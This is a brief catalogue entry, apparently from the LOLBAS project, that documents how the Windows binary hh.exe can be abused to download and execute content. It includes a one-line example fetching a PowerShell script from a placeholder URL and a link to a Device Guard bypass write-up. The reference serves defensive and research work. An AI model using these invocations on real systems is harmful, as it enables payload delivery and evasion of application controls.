LOLBAS/OSBinaries/Hh.md

hh.exe

• Functions: Download, Execute

HH.exe http://www.google.com      

HH.exe C:\    

HH.exe c:\windows\system32\calc.exe    

HH.exe http://some.url/script.ps1    

Acknowledgements:

• Oddvar Moe - @oddvarmoe

Code sample: *

Resources:

• https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/

Full path:

c:\windows\system32\hh.exe
c:\windows\sysWOW64\hh.exe

Notes: